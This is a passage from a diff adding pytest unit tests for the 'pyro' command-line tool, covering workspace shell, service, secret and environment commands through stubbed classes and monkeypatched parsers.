signal_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def close_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + class Parser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command=shell_command, + workspace_id="workspace-123", + json=False, + **kwargs, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: Parser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + assert "[error] shell boom" in capsys.readouterr().err + + +def test_cli_workspace_service_start_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, workspace_id: str, service_name: str, **kwargs: Any + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" + assert kwargs["readiness"] == {"type": "file", "path": ".ready"} + assert kwargs["published_ports"] == [{"host_port": 18080, "guest_port": 8080}] + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "published_ports": [ + { + "host": "127.0.0.1", + "host_port": 18080, + "guest_port": 8080, + "protocol": "tcp", + } + ], + } + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp=None, + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + publish=["18080:8080"], + json=True, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["state"] == "running" + + +def test_cli_workspace_service_logs_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int, + all: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert tail_lines == 200 + assert all is False + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "stdout": "ready\n", + "stderr": "", + "tail_lines": 200, + "truncated": False, + } + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="logs", + workspace_id="workspace-123", + service_name="app", + tail_lines=200, + all=False, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "ready\n" + assert "service_name=app" in captured.err + + +def test_cli_workspace_service_list_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_services(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 2, + "running_count": 1, + "services": [ + { + "workspace_id": workspace_id, + "service_name": "app", + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "published_ports": [ + { + "host": "127.0.0.1", + "host_port": 18080, + "guest_port": 8080, + "protocol": "tcp", + } + ], + "readiness": {"type": "file", "path": "/workspace/.ready"}, + }, + { + "workspace_id": workspace_id, + "service_name": "worker", + "state": "stopped", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": None, + }, + ], + } + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="list", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "app [running] cwd=/workspace published=127.0.0.1:18080->8080/tcp" in captured.out + assert "worker [stopped] cwd=/workspace" in captured.out + + +def test_cli_workspace_service_status_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": {"type": "file", "path": "/workspace/.ready"}, + } + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="status", + workspace_id="workspace-123", + service_name="app", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["state"] == "running" + + +def test_cli_workspace_service_stop_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "stopped", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "stop_reason": "sigterm", + } + + class StopParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="stop", + workspace_id="workspace-123", + service_name="app", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "service_name=app" in captured.err + assert "state=stopped" in captured.err + + +def test_cli_workspace_service_start_rejects_multiple_readiness_flags( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service(self, *args: Any, **kwargs: Any) -> dict[str, Any]: + raise AssertionError("start_service should not be called") + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp="127.0.0.1:8080", + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + json=False, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + captured = capsys.readouterr() + assert "choose at most one" in captured.err + + +def test_cli_workspace_service_start_prints_human_with_ready_command( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, workspace_id: str, service_name: str, **kwargs: Any + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert kwargs["readiness"] == {"type": "command", "command": "test -f .ready"} + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + } + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=None, + ready_tcp=None, + ready_http=None, + ready_command="test -f .ready", + ready_timeout_seconds=30, + ready_interval_ms=500, + json=False, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "service_name=app" in captured.err + assert "state=running" in captured.err + + +def test_cli_workspace_service_start_prints_json_error( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, workspace_id: str, service_name: str, **kwargs: Any + ) -> dict[str, Any]: + del workspace_id, service_name, kwargs + raise RuntimeError("service boom") + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=None, + ready_tcp="127.0.0.1:8080", + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + json=True, + command_args=["--", "sh", "-lc", "while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["error"] == "service boom" + + +def test_cli_workspace_service_list_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_services(self, workspace_id: str) -> dict[str, Any]: + return {"workspace_id": workspace_id, "count": 0, "running_count": 0, "services": []} + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="list", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["count"] == 0 + + +def test_cli_workspace_service_status_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + del workspace_id + return { + "workspace_id": "workspace-123", + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": {"type": "tcp", "address": "127.0.0.1:8080"}, + } + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="status", + workspace_id="workspace-123", + service_name="app", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "service_name=app" in captured.err + assert "state=running" in captured.err + + +def test_cli_workspace_service_logs_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int | None, + all: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert tail_lines is None + assert all is True + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "stdout": "ready\n", + "stderr": "", + "tail_lines": None, + "truncated": False, + } + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="logs", + workspace_id="workspace-123", + service_name="app", + tail_lines=None, + all=True, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["tail_lines"] is None + + +def test_cli_workspace_service_stop_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "stopped", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + } + + class StopParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="stop", + workspace_id="workspace-123", + service_name="app", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["state"] == "stopped" + + +def test_cli_workspace_exec_json_error_exits_nonzero( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + ) -> dict[str, Any]: + del workspace_id, command, timeout_seconds + raise RuntimeError("workspace is unavailable") + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", + timeout_seconds=30, + json=True, + command_args=["--", "true"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + with pytest.raises(SystemExit, match="1"): + cli.main() + + payload = json.loads(capsys.readouterr().out) + assert payload["ok"] is False + + +def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str]) -> None: + cli._print_env_list_human( + { + "catalog_version": "3.0.0", + "environments": [ + {"name": "debian:12", "installed": True, "description": "Git environment"}, + "ignored", + ], + } + ) + cli._print_env_detail_human( + { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": True, + "cache_dir": "/cache", + "default_packages": ["bash", "git"], + "description": "Git environment", + "install_dir": "/cache/linux-x86_64/debian_12-1.0.0", + "install_manifest": "/cache/linux-x86_64/debian_12-1.0.0/environment.json", + "kernel_image": "/cache/vmlinux", + "rootfs_image": "/cache/rootfs.ext4", + "oci_registry": "registry-1.docker.io", + "oci_repository": "thalesmaciel/pyro-environment-debian-12", + "oci_reference": "1.0.0", + }, + action="Environment", + ) + cli._print_prune_human({"count": 2, "deleted_environment_dirs": ["a", "b"]}) + cli._print_doctor_human( + { + "platform": "linux-x86_64", + "runtime_ok": False, + "issues": ["broken"], + "kvm": {"exists": True, "readable": True, "writable": False}, + "runtime": { + "cache_dir": "/cache", + "capabilities": { + "supports_vm_boot": True, + "supports_guest_exec": False, + "supports_guest_network": True, + }, + }, + "networking": {"tun_available": True, "ip_forward_enabled": False}, + } + ) + captured = capsys.readouterr().out + assert "Catalog version: 3.0.0" in captured + assert "debian:12 [installed] Git environment" in captured + assert "Install manifest: /cache/linux-x86_64/debian_12-1.0.0/environment.json" in captured + assert "Deleted 2 cached environment entries." in captured + assert "Runtime: FAIL" in captured + assert "Issues:" in captured + + +def test_print_env_list_human_handles_empty(capsys: pytest.CaptureFixture[str]) -> None: + cli._print_env_list_human({"catalog_version": "3.0.0", "environments": []}) + output = capsys.readouterr().out + assert "No environments found." in output + + +def test_write_stream_skips_empty(capsys: pytest.CaptureFixture[str]) -> None: + cli._write_stream("", stream=sys.stdout) + cli._write_stream("x", stream=sys.stdout) + captured = capsys.readouterr() + assert captured.out == "x" + + +def test_cli_env_pull_prints_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def pull_environment(self, environment: str) -> dict[str, object]: + assert environment == "debian:12" + return { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": True, + "cache_dir": "/cache", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="env", + env_command="pull", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Pulled: debian:12" in output + + +def test_cli_env_inspect_and_prune_print_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def inspect_environment(self, environment: str) -> dict[str, object]: + assert environment == "debian:12" + return { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": False, + "cache_dir": "/cache", + } + + def prune_environments(self) -> dict[str, object]: + return {"count": 1, "deleted_environment_dirs": ["stale"]} + + class InspectParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="env", + env_command="inspect", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: InspectParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class PruneParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace(command="env", env_command="prune", json=False) + + monkeypatch.setattr(cli, "_build_parser", lambda: PruneParser()) + cli.main() + + output = capsys.readouterr().out + assert "Environment: debian:12" in output + assert "Deleted 1 cached environment entry." in output + + +def test_cli_doctor_prints_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="doctor", + platform="linux-x86_64", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr( + cli, + "doctor_report", + lambda *, platform, environment: { + "platform": platform, + "runtime_ok": True, + "issues": [], + "kvm": {"exists": True, "readable": True, "writable": True}, + "runtime": {"catalog_version": "4.5.0", "cache_dir": "/cache"}, + "daily_loop": { + "environment": environment, + "status": "cold", + "installed": False, + "network_prepared": False, + "prepared_at": None, + "manifest_path": "/cache/.prepare/linux-x86_64/debian_12.json", + "reason": "daily loop has not been prepared yet", + "cache_dir": "/cache", + }, + }, + ) + cli.main() + output = capsys.readouterr().out + assert "Runtime: PASS" in output + assert "Daily loop: COLD (debian:12)" in output + assert "Run: pyro prepare debian:12" in output + + +def test_cli_prepare_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubManager: + def prepare_daily_loop( + self, + environment: str, + *, + network: bool, + force: bool, + ) -> dict[str, object]: + assert environment == "debian:12" + assert network is True + assert force is False + return { + "environment": environment, + "status": "warm", + "prepared": True, + "reused": False, + "executed": True, + "network_prepared": True, + "prepared_at": 123.0, + "manifest_path": "/cache/.prepare/linux-x86_64/debian_12.json", + "cache_dir": "/cache", + "last_prepare_duration_ms": 456, + "reason": None, + } + + class StubPyro: + def __init__(self) -> None: + self.manager = StubManager() + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="prepare", + environment="debian:12", + network=True, + force=False, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Prepare: debian:12" in output + assert "Daily loop: WARM" in output + assert "Result: prepared network_prepared=yes" in output + + +def test_cli_prepare_prints_json_and_errors( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class SuccessManager: + def prepare_daily_loop( + self, + environment: str, + *, + network: bool, + force: bool, + ) -> dict[str, object]: + assert environment == "debian:12" + assert network is False + assert force is True + return {"environment": environment, "reused": True} + + class SuccessPyro: + def __init__(self) -> None: + self.manager = SuccessManager() + + class SuccessParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="prepare", + environment="debian:12", + network=False, + force=True, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SuccessParser()) + monkeypatch.setattr(cli, "Pyro", SuccessPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["reused"] is True + + class ErrorManager: + def prepare_daily_loop( + self, + environment: str, + *, + network: bool, + force: bool, + ) -> dict[str, object]: + del environment, network, force + raise RuntimeError("prepare failed") + + class ErrorPyro: + def __init__(self) -> None: + self.manager = ErrorManager() + + class ErrorParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="prepare", + environment="debian:12", + network=False, + force=False, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ErrorParser()) + monkeypatch.setattr(cli, "Pyro", ErrorPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + error_payload = json.loads(capsys.readouterr().out) + assert error_payload["ok"] is False + assert error_payload["error"] == "prepare failed" + + +def test_cli_run_json_error_exits_nonzero( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: + del kwargs + raise RuntimeError("guest boot is unavailable") + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="run", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + timeout_seconds=30, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=True, + command_args=["--", "echo", "hi"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + with pytest.raises(SystemExit, match="1"): + cli.main() + + payload = json.loads(capsys.readouterr().out) + assert payload["ok"] is False + + +def test_cli_mcp_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> None: + observed: dict[str, Any] = {} + + class StubPyro: + def create_server( + self, + *, + profile: str, + mode: str | None, + project_path: str | None, + repo_url: str | None, + repo_ref: str | None, + no_project_source: bool, + ) -> Any: + observed["profile"] = profile + observed["mode"] = mode + observed["project_path"] = project_path + observed["repo_url"] = repo_url + observed["repo_ref"] = repo_ref + observed["no_project_source"] = no_project_source + return type( + "StubServer", + (), + {"run": staticmethod(lambda transport: observed.update({"transport": transport}))}, + )() + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="mcp", + mcp_command="serve", + profile="workspace-core", + mode=None, + project_path="/repo", + repo_url=None, + repo_ref=None, + no_project_source=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + assert observed == { + "profile": "workspace-core", + "mode": None, + "project_path": "/repo", + "repo_url": None, + "repo_ref": None, + "no_project_source": False, + "transport": "stdio", + } + + +def test_cli_demo_default_prints_json( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace(command="demo", demo_command=None, network=False) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "run_demo", lambda network: {"exit_code": 0, "network": network}) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["exit_code"] == 0 + + +def test_cli_demo_ollama_verbose_and_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class VerboseParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="demo", + demo_command="ollama", + base_url="http://localhost:11434/v1", + model="llama3.2:3b", + verbose=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: VerboseParser()) + monkeypatch.setattr( + cli, + "run_ollama_tool_demo", + lambda **kwargs: { + "exec_result": {"exit_code": 0, "execution_mode": "guest_vsock", "stdout": "true\n"}, + "fallback_used": False, + }, + ) + cli.main() + output = capsys.readouterr().out + assert "[summary] stdout=true" in output + + class ErrorParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="demo", + demo_command="ollama", + base_url="http://localhost:11434/v1", + model="llama3.2:3b", + verbose=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ErrorParser()) + monkeypatch.setattr( + cli, + "run_ollama_tool_demo", + lambda **kwargs: (_ for _ in ()).throw(RuntimeError("tool loop failed")), + ) + with pytest.raises(SystemExit, match="1"): + cli.main() + assert "[error] tool loop failed" in capsys.readouterr().out + + +def test_cli_workspace_create_passes_secrets( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + tmp_path: Path, +) -> None: + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") + + class StubPyro: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["environment"] == "debian:12" + assert kwargs["seed_path"] == "./repo" + assert kwargs["secrets"] == [ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ] + assert kwargs["name"] is None + assert kwargs["labels"] is None + return {"workspace_id": "ws-123"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network_policy="off", + allow_host_compat=False, + seed_path="./repo", + name=None, + label=[], + secret=["API_TOKEN=expected"], + secret_file=[f"FILE_TOKEN={secret_file}"], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_id"] == "ws-123" + + +def test_cli_workspace_exec_passes_secret_env( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "ws-123" + assert kwargs["command"] == 'sh -lc \'test "$API_TOKEN" = "expected"\'' + assert kwargs["secret_env"] == {"API_TOKEN": "API_TOKEN", "TOKEN": "PIP_TOKEN"} + return {"exit_code": 0, "stdout": "", "stderr": ""} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="ws-123", + timeout_seconds=30, + secret_env=["API_TOKEN", "TOKEN=PIP_TOKEN"], + json=True, + command_args=["--", "sh", "-lc", 'test "$API_TOKEN" = "expected"'], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["exit_code"] == 0 + + +def test_cli_workspace_shell_open_passes_secret_env( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "ws-123" + assert kwargs["secret_env"] == {"TOKEN": "TOKEN", "API": "API_TOKEN"} + return {"workspace_id": workspace_id, "shell_id": "shell-1", "state": "running"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="ws-123", + cwd="/workspace", + cols=120, + rows=30, + secret_env=["TOKEN", "API=API_TOKEN"], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["shell_id"] == "shell-1" + + +def test_cli_workspace_service_start_passes_secret_env( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + assert workspace_id == "ws-123" + assert service_name == "app" + assert kwargs["secret_env"] == {"TOKEN": "TOKEN", "API": "API_TOKEN"} + assert kwargs["readiness"] == {"type": "file", "path": ".ready"} + assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" + return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="ws-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp=None, + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + secret_env=["TOKEN", "API=API_TOKEN"], + json=True, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["state"] == "running" + + +def test_cli_workspace_secret_parsers_validate_syntax(tmp_path: Path) -> None: + secret_file = tmp_path / "token.txt" + secret_file.write_text("expected\n", encoding="utf-8") + + assert cli._parse_workspace_secret_option("API_TOKEN=expected") == { # noqa: SLF001 + "name": "API_TOKEN", + "value": "expected", + } + assert cli._parse_workspace_secret_file_option(f"FILE_TOKEN={secret_file}") == { # noqa: SLF001 + "name": "FILE_TOKEN", + "file_path": str(secret_file), + } + assert cli._parse_workspace_secret_env_options(["TOKEN", "API=PIP_TOKEN"]) == { # noqa: SLF001 + "TOKEN": "TOKEN", + "API": "PIP_TOKEN", + } + + with pytest.raises(ValueError, match="NAME=VALUE"): + cli._parse_workspace_secret_option("API_TOKEN") # noqa: SLF001 + with pytest.raises(ValueError, match="NAME=PATH"): + cli._parse_workspace_secret_file_option("FILE_TOKEN=") # noqa: SLF001 + with pytest.raises(ValueError, match="must name a secret"): + cli._parse_workspace_secret_env_options(["=TOKEN"]) # noqa: SLF001 + with pytest.raises(ValueError, match="must name an environment variable"): + cli._parse_workspace_secret_env_options(["TOKEN="]) # noqa: SLF001 + with pytest.raises(ValueError, match="more than once"): + cli._parse_workspace_secret_env_options(["TOKEN", "TOKEN=API_TOKEN"]) # noqa: SLF001 + + +def test_cli_workspace_publish_parser_validates_syntax() -> None: + assert cli._parse_workspace_publish_options(["8080"]) == [ # noqa: SLF001 + {"host_port": None, "guest_port": 8080} + ] + assert cli._parse_workspace_publish_options(["18080:8080"]) == [ # noqa: SLF001 + {"host_port": 18080, "guest_port": 8080} + ] + + with pytest.raises(ValueError, match="must not be empty"): + cli._parse_workspace_publish_options([" "]) # noqa: SLF001 + with pytest.raises(ValueError, match="must use GUEST_PORT or HOST_PORT:GUEST_PORT"): + cli._parse_workspace_publish_options(["bad"]) # noqa: SLF001 + with pytest.raises(ValueError, match="must use GUEST_PORT or HOST_PORT:GUEST_PORT"): + cli._parse_workspace_publish_options(["bad:8080"]) # noqa: SLF001 + + +def 